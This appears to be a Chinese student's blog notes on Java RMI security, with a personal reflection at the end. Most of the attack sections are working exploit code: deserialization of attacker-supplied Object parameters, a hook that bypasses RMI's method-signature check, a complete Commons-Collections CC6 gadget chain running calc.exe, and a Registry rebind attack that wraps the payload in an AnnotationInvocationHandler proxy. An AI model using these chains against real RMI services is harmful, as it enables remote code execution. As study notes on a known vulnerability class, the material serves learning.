添砖 Java 壹 该学点正经东西了,开始视奸学长博客,哈哈;
RMI 学习一下 RMI 的配置:
Server 接口 
1 2 3 4 5 public  interface  RemoteInterface  extends  Remote  {	public  String sayHello ()  throws  RemoteException; 	public  String sayHello (Object name)  throws  RemoteException; 	public  String sayGoodbye ()  throws  RemoteException; } 
 
调用类 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public  class  RemoteObject  extends  UnicastRemoteObject  implements  RemoteInterface  {	protected  RemoteObject ()  throws  RemoteException { 	} 	@Override  	public  String sayHello ()  throws  RemoteException { 		return  "Hello My Friend" ; 	} 	@Override  	public  String sayHello (Object name)  throws  RemoteException { 		return  name.getClass().getName(); 	} 	@Override  	public  String sayGoodbye ()  throws  RemoteException { 		return  "Bye" ; 	} } 
 
创建注册中心,绑定端口 
1 2 3 4 5 6 7 8 9 10 11 12 13 public  class  RMIServer {	public  static  void  main (String[] args)  throws  RemoteException, MalformedURLException, AlreadyBoundException, InterruptedException {         try {     		     		LocateRegistry.createRegistry(PORT);     		     		RemoteInterface  remoteObject  =  mew RemoteObject () ;             Naming.bind("rmi://127.0.0.1:1099/RemoteObject" , remoteObject); 		} catch  (Exception e) {     		e.printStackTrace(); 		}     } } 
 
Client 调用接口 
1 2 3 4 5 6 7 8 9 10 11 public  class  RMIClient  {    public  static  void  main (String[] args)  throws  RemoteException, NotBoundException {                  Registry  registry  =  LocateRegistry.getRegistry(RMI_SERVER_IP, PORT);         System.out.println(Arrays.toString(registry.list()));                  RemoteInterface  stub  =  (RemoteInterface) registry.lookup("RemoteObject" );         System.out.println(stub.sayHello());         System.out.println(stub.sayGoodbye());     } } 
 
动态类加载 1 2 System.setProperty("java.rmi.server.codebase" , URL); 
 
Client 调用的对象 RemoteObject如果在 Server 不存在,如果 Server 有设置 java.rmi.server.codebase ,则会从 URL 寻找字节码 RemoteObject.class;
安全策略 1 2 3 if  (System.getSecurityManager() == null ) {    System.setSecurityManager(new  RMISecurityManager ()); } 
 
安全策略 策略文件默认为:$JAVA_HOME/jre/lib/security/java.policy:
自定义策略文件 rmi.policy :
1 2 3 grant {     permission java.security.AllPermission; } 
 
设置管理器:
1 2 3 4 if  (System.getSecurityManager() == null ) {    System.setSecurityManager(new  RMISecurityManager ()); } 
 
指定策略:
1 2 System.setProperty("java.security.policy" , RemoteServer.class.getClassLoader().getResource("rmi.policy" ).toString()); 
 
Server Attack evil params Client 端传 Object 对象给 Server,可以触发反序列化;
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public  interface  RMIClass  extends  Remote  {    public  String sayHello ()  throws  RemoteException;     public  String sayHello (Object o)  throws  RemoteException; } public  class  RMIServer  {    private  static  final  String  OBJECT_URL  =  "rmi://localhost:1099/Hello" ;          private  static  final  String  POLICY_FILE  =  "rmi.policy" ;     private  static  final  String  SERVER_START_MESSAGE  =  "SERVER STARTED" ;     private  static  final  int  REGISTRY_PORT  =  1099 ;     public  static  void  main (String[] args)  throws  MalformedURLException, AlreadyBoundException, RemoteException {         System.setProperty("java.rmi.server.codebase" , CODEBASE_URL);         System.setProperty("java.security.policy" , RMIServer.class.getClassLoader().getResource(POLICY_FILE).toString());         LocateRegistry.createRegistry(REGISTRY_PORT);         RMIClass  remoteObject  =  new  RMIClassImpl ();         Naming.bind(OBJECT_URL, remoteObject);         System.out.println(SERVER_START_MESSAGE);     } } public  class  RMIClient  {    private  static  final  String  BINDED_NAME  =  "Hello" ;     private  static  final  String  IP  =  "127.0.0.1" ;     private  static  final  int  PORT  =  1099 ;     public  static  void  main (String[] args)  throws  Exception {         Registry  registry  =  LocateRegistry.getRegistry(IP, PORT);         RMIClass  stub  =  (RMIClass) registry.lookup(BINDED_NAME);         System.out.println(Arrays.toString(registry.list()));         System.out.println(stub.sayHello(getPayload()));     }     public  static  Object getPayload ()  throws  Exception {              } } 
 
CS 分别运行,弹计算器;
另外不难想到,只要 Server 端接收非基本类型,都会触发反序列化,这里有一个问题:
如果 Server 接收和 Client 发送的类型签名不一致,会抛出一个错误,如果将 Server 端的 RMIClass 接口改为:
1 2 3 4 public  interface  RMIClass  extends  Remote  {    public  String sayHello ()  throws  RemoteException;     public  String sayHello (Integer i)  throws  RemoteException; } 
 
报错如下:
 
在远程对象上找不到对应签名的方法所致,在 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 下一下断点:
里面有这样一段:
1 return  ref.invoke((Remote) proxy, method, args, getMethodHash(method));
 
这里进行远程调用,事实上 getMethodHash 是用来定位方法的,而且 Client 可以被攻击者完全控制,因此使用 hook 在这里把被 hash 的 method 改为和远程对象一致的方法即可绕过对签名的检验;
首先在 Client 端的 RMIClass 接口加上目标函数:
1 2 3 4 5 public  interface  RMIClass  extends  Remote  {    public  String sayHello ()  throws  RemoteException;     public  String sayHello (Integer i)  throws  RemoteException;     public  String sayHello (Object name)  throws  RemoteException; } 
 
断点处栈的状况:
将 method 改为:
1 RMIClass.class.getMethod("sayHello" , Integer.class) 
 
即可绕过校验触发反序列化,弹出计算器;
故而只要有传非基本类型参数的函数,Server 端都可以反序列化任意 payload,这一层相当于通杀了;
看到这了重新学一下 CC6;
CC6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public  static  Object getEvilClass ()  throws  Exception {         Transformer[] transformers = new  Transformer [] {             new  ConstantTransformer (Runtime.class),             new  InvokerTransformer (                     "getMethod" ,                      new  Class []{String.class, Class[].class},                      new  Object []{"getRuntime" , null }             ),             new  InvokerTransformer (                     "invoke" ,                      new  Class []{Object.class, Object[].class},                      new  Object []{Runtime.class, null }             ),             new  InvokerTransformer (                     "exec" ,                      new  Class []{String.class},                      new  Object []{"calc.exe" }             )     }; 		               Transformer[] fakeTransformers = new  Transformer [] {new  ConstantTransformer (1 )};     Transformer  transformerChain  =  new  ChainedTransformer (fakeTransformers);     Map  innerMap  =  new  HashMap <>();     Map  outerMap  =  LazyMap.decorate(innerMap, transformerChain);     TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (outerMap, "test" );     Map  expMap  =  new  HashMap ();     expMap.put(tiedMapEntry, "any" );          outerMap.remove("test" );          Field  f  =  ChainedTransformer.class.getDeclaredField("iTransformers" );     f.setAccessible(true );     f.set(transformerChain, transformers);     return  expMap; } 
 
唯一需要注意的点是,中间 remove 去除了 LazyMap 在第一次 expMap.put() 时触发 tiedMapEntry.hashcode() 进而触发 tiedMapEntry.getValue() 进而触发 map.get() 时被 LazyMap 特性插入的值;
LazyMap 的特点是 get 不存在的值会触发 transformer,然后返回并插入 transformer 的返回值,必须要移除掉这个值,靶机真正反序列化 payload 的时候才能再次调用恶意的 transformer;
理解了这一点,基本就理解了 CC6;
Registry Attack 先把 SDK 改成 JDK8u20;
已知 registry.rebind(),registry.bind(),registry.lookup() 过程都会触发反序列化,以从 Server 端 registry.rebind() 打 Register 端为例,其传递的对象参数必须实现 Remote 接口,通过动态代理 InvocationHandler 的方式可以给 payload 包装一层 Remote 接口;
选用 AnnotationInvocationHandler 是因为其可以包含一个任意 Map 对象的序列化数据,很好用,因此与 CC1 被修复了无关,只要有反序列化 AnnotationInvocationHandler 的条件,这个包装方式其实是可以长足利用的;
进行代理之后辅以强转即可:
1 2 3 4 5 6 Constructor  aihConstructor  =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).	getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); InvocationHandler  handler  =  (InvocationHandler) aihConstructor.newInstance(Override.class, getEvilClass());Remote  remote  =  (Remote) Proxy.newProxyInstance(RMIServer.class.getClassLoader(), new  Class []{Remote.class}, handler);
 
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public  class  RMIServer  {    private  static  final  String  OBJECT_URL  =  "rmi://localhost:1099/Hello" ;          private  static  final  String  POLICY_FILE  =  "rmi.policy" ;     private  static  final  String  SERVER_START_MESSAGE  =  "SERVER STARTED" ;     private  static  final  String  REGISTRY_IP  =  "localhost" ;     private  static  final  int  REGISTRY_PORT  =  1099 ;     public  static  void  main (String[] args)  throws  Exception {                           System.setProperty("java.security.policy" , RMIServer.class.getClassLoader().                 getResource(POLICY_FILE).toString());         LocateRegistry.createRegistry(REGISTRY_PORT);         RMIClass  remoteObject  =  new  RMIClassImpl ();         Naming.bind(OBJECT_URL, remoteObject);         System.out.println(SERVER_START_MESSAGE);                  Registry  registry  =  LocateRegistry.getRegistry(REGISTRY_IP, REGISTRY_PORT);                  Constructor  aihConstructor  =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).                 getDeclaredConstructor(Class.class, Map.class);         aihConstructor.setAccessible(true );         InvocationHandler  handler  =  (InvocationHandler) aihConstructor.newInstance(Override.class, getEvilClass());         Remote  remote  =  (Remote) Proxy.newProxyInstance(                 RMIServer.class.getClassLoader(),                 new  Class []{Remote.class},                 handler);         registry.rebind("QST" , remote);              }     public  static  Object getEvilClass ()  throws  Exception { 		         return  expMap;     } } 
 
fix in jdk8u121 白名单 ObjectInputFilter 机制加入,RMI Registry 首当其冲,新增的 RegistryImpl#registryFilter  使用讨厌的白名单机制过滤反序列化数据的属性:
1 2 3 4 5 6 7 8 9 10 return  String.class != var2 &&     !Number.class.isAssignableFrom(var2) &&          !Remote.class.isAssignableFrom(var2) &&              !Proxy.class.isAssignableFrom(var2) &&                  !UnicastRef.class.isAssignableFrom(var2) &&                      !RMIClientSocketFactory.class.isAssignableFrom(var2)                          && !RMIServerSocketFactory.class.isAssignableFrom(var2) &&                              !ActivationID.class.isAssignableFrom(var2) &&                                  !UID.class.isAssignableFrom(var2)                                      ? Status.REJECTED : Status.ALLOWED; 
 
下断点动调一下,发现 ObjectInputFilter 对类的检查是递归的,如 AnnotationInvocationHandle 这些内部类会被检查出来 REJECTED 掉;
如何用有限的类去构造 gadget 就成了问题,先写到这;
总会 粘腻的青春已然板结了他的土壤,播种下再多的种子,他的青春也只是一场空,而非能够在未来的某一天发芽了;
好想再来一次,虽然总会成为老师的。